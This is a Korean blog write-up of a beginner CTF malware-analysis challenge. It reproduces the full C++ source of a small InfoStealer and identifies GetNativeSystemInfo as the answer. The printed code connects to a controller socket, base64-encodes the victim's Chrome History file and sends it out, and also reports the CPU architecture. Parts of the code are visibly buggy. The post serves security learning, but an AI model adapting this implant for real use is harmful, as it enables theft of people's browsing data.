[ccuniCTF 2023] Malware : 'ez Malware' write-up

정다은·2023년 11월 30일
0

CTF write-up

목록 보기
5/14

문제 설명

ez Malware (100)
.
InfoStealer 악성코드의 소스코드를 입수했습니다.
이 악성코드에서 PC에 대한 정보를 수집하는 데 사용된 함수는 무엇입니까?
Flag : md5(함수명)

문제 Review

주어진 C++ 코드를 해석할줄 알면 풀 수 있는 문제였다.
사실 함수 이름이 직관적이어서 코드 해석 없이도 풀 수 있다.

문제 풀이

주어진 파일을 열어보면 다음과 같은 코드를 볼 수 있다.

#include <iostream>
#include <winsock2.h>
#include <fstream>
#include <sstream>
#include <string>
#include <Windows.h>
#include <vector>
#include <algorithm>
#include <openssl/bio.h>
#include <openssl.evp.h>

#pragma comment(lib, "ws2_32.lib")
using namespace std; 

string base64Encode(const std::vector<unsigned char>& data) {
	BIO* b64 = BIO_new(BIO_f_base64());
	BIO* bio = BIO_new(BIO_s_mem());
	bio = BIO_push(b64, bio);
	
	BIO_write(bio, data.data(), data.size());
	BIO_flush(bio);
	
	BUF_MEM* buffer = NULL;
	BIO_get_mem_ptr(bio, &buffer);
	
	string result(buffer->data, buffer->length);
	BIO_free_all(bio);
	
return result;
}
int main(int argc, char* argv[])
{
	WSADATA wsaData;
	sockaddr_in clientService;
	const char* message = "This is Malware Class 01";
	char sendbuf[2048];
	int sendbuflen = 2048;
	char recvbuf[2048];
	int recvbuflen = 2048;
	string historyFile = NULL;

	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (iResult != NO_ERROR)
	{
		cout << "WSAStartup failed with error: " << iResult << endl;
		return 1;
	}
	
	SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (sock == INVALID_SOCKET)
	{
		cout << "socket failed with error: " << endl;
		WSACleanup();
		return 1;
	}
	
	clientService.sin_family = AF_INET;
	clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
	clientService.sin_port = htons(5893);
	
	iResult = connect(sock, (SOCKADDR*)&clientService, sizeof(clientService));
	
	if (iResult == SOCKET_ERROR)
	{
		cout << "connect failed with error: " << WSAGetLastError() << endl;
		closesocket(sock);
		WSACleanup();
		
		return 1;
	}
	
	while (1)
	{
		iResult = recv(sock, recvbuf, recvbuflen, 0);

		if (iResult > 0)
		{
			if (recvbuf[0] == 'i')
			{
				historyFile = string(getenv("LOCALAPPDATA")) +
							"\\Google\\Chrome\\User Data\\Default\\History";
				ifstream file(historyFile, ios::binary);
				
				if (file.is_open())
				{
					streamsize size = file.tellg();
					file.seekg(0, ios::beg);
					
					vector<unsigned char> buffer(size);
					
					if (!file.read(reinterpret_cast<char*>(buffer.data()), size))
					{
						cerr << "Failed to read file" << endl;
						return 1;
					}
					
					string encoded = base64Encode(buffer);
					strcpy(sendbuf, encoded.c_str());
					send(sock, sendbuf, sendbuflen, 0);
					ZeroMemory(sendbuf, 2048);
					Sleep(10);
				}
				else
				{
					cerr << "Failed to open file: " << historyFile << endl;
				}
			}
			
			if (recvbuf[0] == 'o')
			{
				SYSTEM_INFO sysInfo;
				GetNativeSystemInfo(&sysInfo);
				
				switch (sysInfo.wProcessorArchitecture)
				{
					case PROCESSOR_ARCHITECTURE_INTEL:
						strcpy(sendbuf, "INTEL");
						send(sock,sendbuf, sendbuflen, 0);
						ZeroMemory(sendbuf, 2048);
					break;
					
					case PROCESSOR_ARCHITECTURE_AMD64:
						strcpy(sendbuf, "AMD64");
						send(sock, sendbuf, sendbuflen, 0);
						ZeroMemory(sendbuf, 2048);
					break;
				}
			}
		}
		else if (iResult == 0)
		{
			cout << "Connection closed" << endl;
		}
		else
		{
			cout << "recv failed with error: << WSAGetLastError()" << endl;
		}
	}
	closesocket(sock);
	WSACleanup();
	return 0;
}

여기에서 PC 정보를 수집하는 함수는 이름에서 드러나듯이 GetNativeSystemInfo() 라고 생각하여 md5로 해시값으로 변경해서 정답을 입력했다.

profile
보안 공부하는 대학교 3학년 / 시리즈에서 더욱 편하게 글을 찾아보실 수 있습니다:)

0개의 댓글